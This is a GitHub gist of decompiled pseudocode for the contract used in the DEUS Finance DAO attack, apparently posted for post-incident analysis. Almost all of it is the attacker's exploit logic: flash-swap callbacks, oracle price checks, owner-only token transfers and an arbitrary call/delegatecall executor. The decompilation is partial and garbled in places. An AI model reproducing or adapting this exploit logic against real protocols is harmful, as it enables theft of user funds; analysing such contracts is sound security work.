Created
April 28, 2022 10:05
-
-
Save pcaversaccio/fde7fa67dffe55a7f1840c3e8c3c16ab to your computer and use it in GitHub Desktop.
Decompiled DEUS Finance DAO attack contract 0x1f56CCfE85Dc55558603230D013E9F9BfE8E086C. I used the Panoramix decompiler.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Palkeoramix decompiler. | |
| def storage: | |
| ownerAddress is addr at storage 0 | |
| stor1 is addr at storage 1 | |
| stor2 is addr at storage 2 | |
| stor3 is addr at storage 3 | |
| stor4 is addr at storage 4 | |
| stor5 is addr at storage 5 | |
| stor6 is addr at storage 6 | |
| stor7 is addr at storage 7 | |
| stor8 is addr at storage 8 | |
| stor9 is addr at storage 9 | |
| stor11 is uint256 at storage 11 | |
| stor12 is uint256 at storage 12 | |
| def ownerAddress() payable: | |
| return ownerAddress | |
| # | |
| # Regular functions | |
| # | |
| def _fallback() payable: # default function | |
| revert | |
| def transfer(address _tokenAddress, address _to, uint256 _amount) payable: | |
| require calldata.size - 4 >=′ 96 | |
| require _tokenAddress == _tokenAddress | |
| require _to == _to | |
| require caller == ownerAddress | |
| require ext_code.size(_to) | |
| call _to.transfer(address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(_tokenAddress), _amount | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| def unknowndb127ecd(uint256 _param1) payable: | |
| require calldata.size - 4 >=′ 32 | |
| require caller == ownerAddress | |
| require ext_code.size(stor2) | |
| call stor2.approve(address spender, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args stor3, _param1 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require ext_code.size(stor3) | |
| call stor3.0x6d75b9ee with: | |
| gas gas_remaining wei | |
| args addr(this.address), _param1 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| def unknownfc398d69() payable: | |
| require caller == ownerAddress | |
| static call stor2.balanceOf(address tokenOwner) with: | |
| gas gas_remaining wei | |
| args this.address | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_code.size(stor2) | |
| call stor2.approve(address spender, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args stor3, ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require ext_code.size(stor3) | |
| call stor3.0x6d75b9ee with: | |
| gas gas_remaining wei | |
| args addr(this.address), ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| def unknowna1e15411(uint256 _param1, uint256 _param2, uint256 _param3) payable: | |
| require calldata.size - 4 >=′ 96 | |
| require _param1 == addr(_param1) | |
| require _param2 == addr(_param2) | |
| require ext_code.size(addr(_param1)) | |
| call addr(_param1).approve(address spender, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args stor4, _param3 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require ext_code.size(stor4) | |
| call stor4.0x13dcfc59 with: | |
| gas gas_remaining wei | |
| args 0, uint32(_param3), 0, addr(_param1), addr(_param2), 1, this.address, block.timestamp | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| def unknown40ec97c6(uint256 _param1) payable: | |
| require calldata.size - 4 >=′ 32 | |
| static call stor1.0xbd2a9d2c with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| if ext_call.return_data < _param1: | |
| if ext_call.return_data > 0x12725dd1d243aba0e75fe645cc4873f9e65afe688c928e1f21: | |
| revert with 0, 17 | |
| if not _param1: | |
| revert with 0, 18 | |
| if 10^18 < 10^18 * ext_call.return_data / _param1: | |
| revert with 0, 17 | |
| return (-(10^18 * ext_call.return_data / _param1) + 10^18 < 5 * 10^15) | |
| if _param1 > 0x12725dd1d243aba0e75fe645cc4873f9e65afe688c928e1f21: | |
| revert with 0, 17 | |
| if not ext_call.return_data[0]: | |
| revert with 0, 18 | |
| if 10^18 < 10^18 * _param1 / ext_call.return_data[0]: | |
| revert with 0, 17 | |
| return (-(10^18 * _param1 / ext_call.return_data < 5 * 10^15) | |
| def unknowne901cbe8(uint256 _param1, uint256 _param2, array _param3, uint256 _param4) payable: | |
| require calldata.size - 4 >=′ 128 | |
| require _param1 == addr(_param1) | |
| require _param3 <= 18446744073709551615 | |
| require _param3 + 35 <′ calldata.size | |
| require _param3.length <= 18446744073709551615 | |
| require _param3 + _param3.length + 36 <= calldata.size | |
| require _param4 < 2 | |
| require caller == ownerAddress | |
| if _param4 > 1: | |
| revert with 0, 33 | |
| if not _param4: | |
| call _param1 with: | |
| value _param2 wei | |
| gas gas_remaining wei | |
| args _param3[all] | |
| require bool(ext_call.success) == 1 | |
| mem[ceil32(_param3.length) + 128] = bool(ext_call.success) | |
| else: | |
| if _param4 > 1: | |
| revert with 0, 33 | |
| require not _param4 - 1 | |
| delegate _param1 with: | |
| gas gas_remaining wei | |
| args _param3[all] | |
| require bool(delegate.return_code) == 1 | |
| mem[ceil32(_param3.length) + 128] = bool(delegate.return_code) | |
| return Mask(8 * -ceil32(_param3.length) + _param3.length + 32, 0, 0), | |
| mem[_param3.length + 160 len -_param3.length + ceil32(_param3.length)] | |
| def unknown0cc0bfa5() payable: | |
| static call stor3.0xa56d1a33 with: | |
| gas gas_remaining wei | |
| args this.address | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor1.0xbd2a9d2c with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor3.maxCap() with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor3.0x8285ef40 with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 64 | |
| if not bool((6 * ceil32(return_data.size)) + 160 <= 18446744073709551615): | |
| revert with 0, 65 | |
| require ext_call.return_data == ext_call.return_data[16 len 16] | |
| require ext_call.return_data == ext_call.return_data[48 len 16] | |
| if ext_call.return_data < ext_call.return_data[16 len 16]: | |
| revert with 0, 17 | |
| if ext_call.return_data and ext_call.return_data > -1 / ext_call.return_data[0]: | |
| revert with 0, 17 | |
| if ext_call.return_data * ext_call.return_data > 0x2d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d8: | |
| revert with 0, 17 | |
| if 90 * ext_call.return_data * ext_call.return_data > 0x295fad40a57eb50295fad40a57eb50295fad40a57eb50295fad40a57eb50295: | |
| revert with 0, 17 | |
| if 8910 * ext_call.return_data * ext_call.return_data > 0x41dd860bd5ce16206b07f9d33b6ee3f4adecf5f74094326d9aa10fb1c8f0d1: | |
| revert with 0, 17 | |
| if 8865450 * ext_call.return_data * ext_call.return_data / 100 / 1000 / 100 / 10^18 <= ext_call.return_data[0] - ext_call.return_data[16 len 16]: | |
| return (8865450 * ext_call.return_data * ext_call.return_data / 100 / 1000 / 100 / 10^18) | |
| return (ext_call.return_data[0] - ext_call.return_data[16 len 16]) | |
| def unknown42f254da() payable: | |
| require calldata.size - 4 >=′ 160 | |
| require cd == addr(cd) | |
| require cd <= 18446744073709551615 | |
| require cd <′ calldata.size | |
| require ('cd', 100).length <= 18446744073709551615 | |
| require cd('cd', 100).length + 36 <= calldata.size | |
| require cd <= 18446744073709551615 | |
| require cd <′ calldata.size | |
| require ('cd', 132).length <= 18446744073709551615 | |
| require cd * ('cd', 132).length) + 36 <= calldata.size | |
| if ownerAddress != caller: | |
| require this.address == caller | |
| static call stor3.0xa56d1a33 with: | |
| gas gas_remaining wei | |
| args this.address | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| mem[ceil32(return_data.size) + ceil32(('cd', 100).length) + 324] = ('cd', 132).length | |
| s = ceil32(return_data.size) + ceil32(('cd', 100).length) + 356 | |
| idx = 0 | |
| t = cd[132] + 36 | |
| while idx < ('cd', 132).length: | |
| mem[s] = cd[t] | |
| require cd[(t + 32)] == addr(cd[(t + 32)]) | |
| mem[s + 32] = addr(cd[(t + 32)]) | |
| require cd[(t + 64)] == addr(cd[(t + 64)]) | |
| mem[s + 64] = addr(cd[(t + 64)]) | |
| s = s + 96 | |
| idx = idx + 1 | |
| t = t + 96 | |
| continue | |
| require ext_code.size(stor3) | |
| call stor3.0xe79a59b9 with: | |
| gas gas_remaining wei | |
| args addr(cd), ext_call.return_data('cd', 100).length) + 224, ('cd', 100).length, call.data[cd('cd', 100).length], 0, mem[ceil32(return_data.size) + ('cd', 100).length + 356 len ceil32(('cd', 100).length) + (96 * ('cd', 132).length) - ('cd', 100).length] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| def unknown97a9d457(uint256 _param1) payable: | |
| require calldata.size - 4 >=′ 32 | |
| require _param1 == addr(_param1) | |
| static call stor3.0xa56d1a33 with: | |
| gas gas_remaining wei | |
| args addr(_param1) | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor1.0xbd2a9d2c with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor3.maxCap() with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor3.0x8285ef40 with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 64 | |
| if not bool((6 * ceil32(return_data.size)) + 160 <= 18446744073709551615): | |
| revert with 0, 65 | |
| require ext_call.return_data == ext_call.return_data[16 len 16] | |
| require ext_call.return_data == ext_call.return_data[48 len 16] | |
| if ext_call.return_data < ext_call.return_data[16 len 16]: | |
| revert with 0, 17 | |
| if ext_call.return_data and ext_call.return_data > -1 / ext_call.return_data[0]: | |
| revert with 0, 17 | |
| if ext_call.return_data * ext_call.return_data > 0x2d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d8: | |
| revert with 0, 17 | |
| if 90 * ext_call.return_data * ext_call.return_data > 0x295fad40a57eb50295fad40a57eb50295fad40a57eb50295fad40a57eb50295: | |
| revert with 0, 17 | |
| if 8910 * ext_call.return_data * ext_call.return_data > 0x41dd860bd5ce16206b07f9d33b6ee3f4adecf5f74094326d9aa10fb1c8f0d1: | |
| revert with 0, 17 | |
| if 8865450 * ext_call.return_data * ext_call.return_data / 100 / 1000 / 100 / 10^18 <= ext_call.return_data[0] - ext_call.return_data[16 len 16]: | |
| return (8865450 * ext_call.return_data * ext_call.return_data / 100 / 1000 / 100 / 10^18) | |
| return (ext_call.return_data[0] - ext_call.return_data[16 len 16]) | |
| def unknown9b59c25a() payable: | |
| require calldata.size - 4 >=′ 128 | |
| require cd <= 18446744073709551615 | |
| require cd <′ calldata.size | |
| require ('cd', 68).length <= 18446744073709551615 | |
| require cd('cd', 68).length + 36 <= calldata.size | |
| require cd <= 18446744073709551615 | |
| require cd <′ calldata.size | |
| require ('cd', 100).length <= 18446744073709551615 | |
| require cd * ('cd', 100).length) + 36 <= calldata.size | |
| if ownerAddress != caller: | |
| require this.address == caller | |
| static call stor3.0xa56d1a33 with: | |
| gas gas_remaining wei | |
| args this.address | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor1.0xbd2a9d2c with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor3.maxCap() with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor3.0x8285ef40 with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 64 | |
| if not bool((6 * ceil32(return_data.size)) + 160 <= 18446744073709551615): | |
| revert with 0, 65 | |
| require ext_call.return_data == ext_call.return_data[16 len 16] | |
| require ext_call.return_data == ext_call.return_data[48 len 16] | |
| if ext_call.return_data < ext_call.return_data[16 len 16]: | |
| revert with 0, 17 | |
| if ext_call.return_data and ext_call.return_data > -1 / ext_call.return_data[0]: | |
| revert with 0, 17 | |
| if ext_call.return_data * ext_call.return_data > 0x2d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d8: | |
| revert with 0, 17 | |
| if 90 * ext_call.return_data * ext_call.return_data > 0x295fad40a57eb50295fad40a57eb50295fad40a57eb50295fad40a57eb50295: | |
| revert with 0, 17 | |
| if 8910 * ext_call.return_data * ext_call.return_data > 0x41dd860bd5ce16206b07f9d33b6ee3f4adecf5f74094326d9aa10fb1c8f0d1: | |
| revert with 0, 17 | |
| mem[(6 * ceil32(return_data.size)) + ceil32(('cd', 68).length) + 388] = ('cd', 100).length | |
| s = (6 * ceil32(return_data.size)) + ceil32(('cd', 68).length) + 420 | |
| idx = 0 | |
| t = cd[100] + 36 | |
| while idx < ('cd', 100).length: | |
| mem[s] = cd[t] | |
| require cd[(t + 32)] == addr(cd[(t + 32)]) | |
| mem[s + 32] = addr(cd[(t + 32)]) | |
| require cd[(t + 64)] == addr(cd[(t + 64)]) | |
| mem[s + 64] = addr(cd[(t + 64)]) | |
| s = s + 96 | |
| idx = idx + 1 | |
| t = t + 96 | |
| continue | |
| require ext_code.size(stor3) | |
| if 8865450 * ext_call.return_data * ext_call.return_data / 100 / 1000 / 100 / 10^18 <= ext_call.return_data[0] - ext_call.return_data[16 len 16]: | |
| call stor3.0xc0bf02e5 with: | |
| gas gas_remaining wei | |
| args ownerAddress, 8865450 * ext_call.return_data * ext_call.return_data / 100 / 1000 / 100 / 10^18, cd('cd', 68).length) + 224, ('cd', 68).length, call.data[cd('cd', 68).length], 0, mem[(6 * ceil32(return_data.size)) + ('cd', 68).length + 420 len ceil32(('cd', 68).length) + (96 * ('cd', 100).length) - ('cd', 68).length] | |
| else: | |
| call stor3.0xc0bf02e5 with: | |
| gas gas_remaining wei | |
| args ownerAddress, Mask(128, 128, ext_call.return_data('cd', 68).length) + 224, ('cd', 68).length, call.data[cd('cd', 68).length], 0, mem[(6 * ceil32(return_data.size)) + ('cd', 68).length + 420 len ceil32(('cd', 68).length) + (96 * ('cd', 100).length) - ('cd', 68).length] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| def unknowncbfb9671() payable: | |
| require calldata.size - 4 >=′ 256 | |
| require cd == addr(cd) | |
| require cd == addr(cd) | |
| require cd <= 18446744073709551615 | |
| require cd <′ calldata.size | |
| require ('cd', 196).length <= 18446744073709551615 | |
| require cd('cd', 196).length + 36 <= calldata.size | |
| require cd <= 18446744073709551615 | |
| require cd <′ calldata.size | |
| require ('cd', 228).length <= 18446744073709551615 | |
| require cd * ('cd', 228).length) + 36 <= calldata.size | |
| require this.address == caller | |
| static call stor9.balanceOf(address tokenOwner) with: | |
| gas gas_remaining wei | |
| args this.address | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == cd[36] | |
| require ext_code.size(addr(cd)) | |
| call addr(cd).approve(address spender, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args stor4, cd[36] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require ext_code.size(stor4) | |
| call stor4.0x13dcfc59 with: | |
| gas gas_remaining wei | |
| args cdaddr(cd), addr(cd), 1, this.address, block.timestamp | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| static call stor8.balanceOf(address tokenOwner) with: | |
| gas gas_remaining wei | |
| args ownerAddress | |
| require return_data.size >=′ 32 | |
| if ownerAddress != caller: | |
| require this.address == caller | |
| static call stor3.0xa56d1a33 with: | |
| gas gas_remaining wei | |
| args this.address | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor1.0xbd2a9d2c with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor3.maxCap() with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor3.0x8285ef40 with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 64 | |
| if not bool((8 * ceil32(return_data.size)) + 160 <= 18446744073709551615): | |
| revert with 0, 65 | |
| require ext_call.return_data == ext_call.return_data[16 len 16] | |
| require ext_call.return_data == ext_call.return_data[48 len 16] | |
| if ext_call.return_data < ext_call.return_data[16 len 16]: | |
| revert with 0, 17 | |
| if ext_call.return_data and ext_call.return_data > -1 / ext_call.return_data[0]: | |
| revert with 0, 17 | |
| if ext_call.return_data * ext_call.return_data > 0x2d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d82d8: | |
| revert with 0, 17 | |
| if 90 * ext_call.return_data * ext_call.return_data > 0x295fad40a57eb50295fad40a57eb50295fad40a57eb50295fad40a57eb50295: | |
| revert with 0, 17 | |
| if 8910 * ext_call.return_data * ext_call.return_data > 0x41dd860bd5ce16206b07f9d33b6ee3f4adecf5f74094326d9aa10fb1c8f0d1: | |
| revert with 0, 17 | |
| mem[(8 * ceil32(return_data.size)) + ceil32(('cd', 196).length) + 388] = ('cd', 228).length | |
| s = (8 * ceil32(return_data.size)) + ceil32(('cd', 196).length) + 420 | |
| idx = 0 | |
| t = cd[228] + 36 | |
| while idx < ('cd', 228).length: | |
| mem[s] = cd[t] | |
| require cd[(t + 32)] == addr(cd[(t + 32)]) | |
| mem[s + 32] = addr(cd[(t + 32)]) | |
| require cd[(t + 64)] == addr(cd[(t + 64)]) | |
| mem[s + 64] = addr(cd[(t + 64)]) | |
| s = s + 96 | |
| idx = idx + 1 | |
| t = t + 96 | |
| continue | |
| require ext_code.size(stor3) | |
| if 8865450 * ext_call.return_data * ext_call.return_data / 100 / 1000 / 100 / 10^18 <= ext_call.return_data[0] - ext_call.return_data[16 len 16]: | |
| call stor3.0xc0bf02e5 with: | |
| gas gas_remaining wei | |
| args ownerAddress, 8865450 * ext_call.return_data * ext_call.return_data / 100 / 1000 / 100 / 10^18, cd('cd', 196).length) + 224, ('cd', 196).length, call.data[cd('cd', 196).length], 0, mem[(8 * ceil32(return_data.size)) + ('cd', 196).length + 420 len ceil32(('cd', 196).length) + (96 * ('cd', 228).length) - ('cd', 196).length] | |
| else: | |
| call stor3.0xc0bf02e5 with: | |
| gas gas_remaining wei | |
| args ownerAddress, Mask(128, 128, ext_call.return_data('cd', 196).length) + 224, ('cd', 196).length, call.data[cd('cd', 196).length], 0, mem[(8 * ceil32(return_data.size)) + ('cd', 196).length + 420 len ceil32(('cd', 196).length) + (96 * ('cd', 228).length) - ('cd', 196).length] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| static call stor8.balanceOf(address tokenOwner) with: | |
| gas gas_remaining wei | |
| args ownerAddress | |
| require return_data.size >=′ 32 | |
| if ext_call.return_data < ext_call.return_data[0]: | |
| revert with 0, 17 | |
| require 0 > cd[4] | |
| static call stor1.0xbd2a9d2c with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| static call stor8.balanceOf(address tokenOwner) with: | |
| gas gas_remaining wei | |
| args this.address | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_code.size(addr(cd)) | |
| call addr(cd).approve(address spender, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args stor4, ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require ext_code.size(stor4) | |
| call stor4.0x13dcfc59 with: | |
| gas gas_remaining wei | |
| args ext_call.return_dataaddr(cd), addr(cd), 1, this.address, block.timestamp | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| static call stor1.0xbd2a9d2c with: | |
| gas gas_remaining wei | |
| require return_data.size >=′ 32 | |
| log 0xbfbd1b2c: ext_call.return_data | |
| static call stor9.balanceOf(address tokenOwner) with: | |
| gas gas_remaining wei | |
| args this.address | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| if cd > ext_call.return_data[0]: | |
| if cd < ext_call.return_data[0]: | |
| revert with 0, 17 | |
| require ext_code.size(addr(cd)) | |
| call addr(cd).transferFrom(address from, address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args tx.origin, addr(this.address), cd[36] - ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if stor11 > !(cd[36] - ext_call.return_data[0]): | |
| revert with 0, 17 | |
| stor11 = stor11 + cd[36] - ext_call.return_data[0] | |
| def unknown10d1e85c() payable: | |
| require calldata.size - 4 >=′ 128 | |
| require cd == addr(cd) | |
| require cd <= 18446744073709551615 | |
| require cd <′ calldata.size | |
| require ('cd', 100).length <= 18446744073709551615 | |
| require cd('cd', 100).length + 36 <= calldata.size | |
| require ('cd', 100).length >=′ 256 | |
| require ('cd', 100) == addr(('cd', 100)) | |
| require ('cd', 100) == addr(('cd', 100)) | |
| require ('cd', 100) == addr(('cd', 100)) | |
| require ('cd', 100) <= 18446744073709551615 | |
| require cd('cd', 100) + 67 <′ cd('cd', 100).length + 36 | |
| if cd[(cd('cd', 100) + 36)] > 18446744073709551615: | |
| revert with 0, 65 | |
| if ceil32(32 * cd[(cd('cd', 100) + 36)]) + 97 < 96 or ceil32(32 * cd[(cd('cd', 100) + 36)]) + 97 > 18446744073709551615: | |
| revert with 0, 65 | |
| mem[96] = cd[(cd('cd', 100) + 36)] | |
| require (32 * cd[(cd('cd', 100) + 36)]) + ('cd', 100) + 68 <= ('cd', 100).length + 36 | |
| s = 128 | |
| idx = cd('cd', 100) + 68 | |
| while idx < (32 * cd[(cd('cd', 100) + 36)]) + cd('cd', 100) + 68: | |
| require cd[idx] == addr(cd[idx]) | |
| mem[s] = cd[idx] | |
| s = s + 32 | |
| idx = idx + 32 | |
| continue | |
| require ('cd', 100) <= 18446744073709551615 | |
| require cd('cd', 100) + 67 <′ cd('cd', 100).length + 36 | |
| if cd[(cd('cd', 100) + 36)] > 18446744073709551615: | |
| revert with 0, 65 | |
| if ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98 < 97 or ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98 > 18446744073709551615: | |
| revert with 0, 65 | |
| mem[ceil32(32 * cd[(cd('cd', 100) + 36)]) + 97] = cd[(cd('cd', 100) + 36)] | |
| require ('cd', 100) + cd[(cd('cd', 100) + 36)] + 68 <= ('cd', 100).length + 36 | |
| mem[ceil32(32 * cd[(cd('cd', 100) + 36)]) + 129 len cd[(cd('cd', 100) + 36)]] = call.data[cd('cd', 100) + 68 len cd[(cd('cd', 100) + 36)]] | |
| require addr(cd) == this.address | |
| mem[ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 102] = addr(('cd', 100)) | |
| mem[ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 134] = addr(('cd', 100)) | |
| static call stor6.0xe6a43905 with: | |
| gas gas_remaining wei | |
| args addr(('cd', 100)), addr(('cd', 100)) | |
| mem[ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| require caller == ext_call.return_data[12 len 20] | |
| if ('cd', 100) > 0: | |
| if 1 > !('cd', 100): | |
| revert with 0, 17 | |
| if ('cd', 100) + 1 >= cd[(cd('cd', 100) + 36)]: | |
| revert with 0, 50 | |
| static call mem[(32 * ('cd', 100) + 1) + 140 len 20].getReserves() with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 96 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ('cd', 100) > ext_call.return_data[0] - 1: | |
| if ('cd', 100) < ext_call.return_data[0] - 1: | |
| revert with 0, 17 | |
| if ('cd', 100) > ext_call.return_data[32] - 1: | |
| if ('cd', 100) < ext_call.return_data[32] - 1: | |
| revert with 0, 17 | |
| static call mem[(32 * ('cd', 100) + 1) + 140 len 20].0xdfe1681 with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call mem[(32 * ('cd', 100) + 1) + 140 len 20].token1() with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| ... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
| if ('cd', 100) > 0: | |
| if 1 > !('cd', 100): | |
| revert with 0, 17 | |
| if ('cd', 100) + 1 >= cd[(cd('cd', 100) + 36)]: | |
| revert with 0, 50 | |
| static call mem[(32 * ('cd', 100) + 1) + 140 len 20].getReserves() with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 96 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ('cd', 100) > ext_call.return_data[0] - 1: | |
| if ('cd', 100) < ext_call.return_data[0] - 1: | |
| revert with 0, 17 | |
| if ('cd', 100) > ext_call.return_data[32] - 1: | |
| if ('cd', 100) < ext_call.return_data[32] - 1: | |
| revert with 0, 17 | |
| static call mem[(32 * ('cd', 100) + 1) + 140 len 20].0xdfe1681 with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call mem[(32 * ('cd', 100) + 1) + 140 len 20].token1() with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| ... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
| if cd[(cd('cd', 100) + 36)]: | |
| ... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
| if cd[36]: | |
| if cd > 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff: | |
| revert with 0, 17 | |
| if 1 > !(2 * cd / 998): | |
| revert with 0, 17 | |
| if cd > !((2 * cd / 998) + 1): | |
| revert with 0, 17 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transferFrom(address from, address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(('cd', 100)), addr(this.address), (2 * cd / 998) + 1 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if stor11 > !((2 * cd / 998) + 1): | |
| revert with 0, 17 | |
| stor11 = stor11 + (2 * cd / 998) + 1 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transfer(address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(ext_call.return_data), cd * cd / 998) + 1 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if cd[68]: | |
| if cd > 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff: | |
| revert with 0, 17 | |
| if 1 > !(2 * cd / 998): | |
| revert with 0, 17 | |
| if cd > !((2 * cd / 998) + 1): | |
| revert with 0, 17 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transferFrom(address from, address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(('cd', 100)), addr(this.address), (2 * cd / 998) + 1 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if stor12 > !((2 * cd / 998) + 1): | |
| revert with 0, 17 | |
| stor12 = stor12 + (2 * cd / 998) + 1 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transfer(address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(ext_call.return_data), cd * cd / 998) + 1 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| def unknown84800812() payable: | |
| require calldata.size - 4 >=′ 128 | |
| require cd == addr(cd) | |
| require cd <= 18446744073709551615 | |
| require cd <′ calldata.size | |
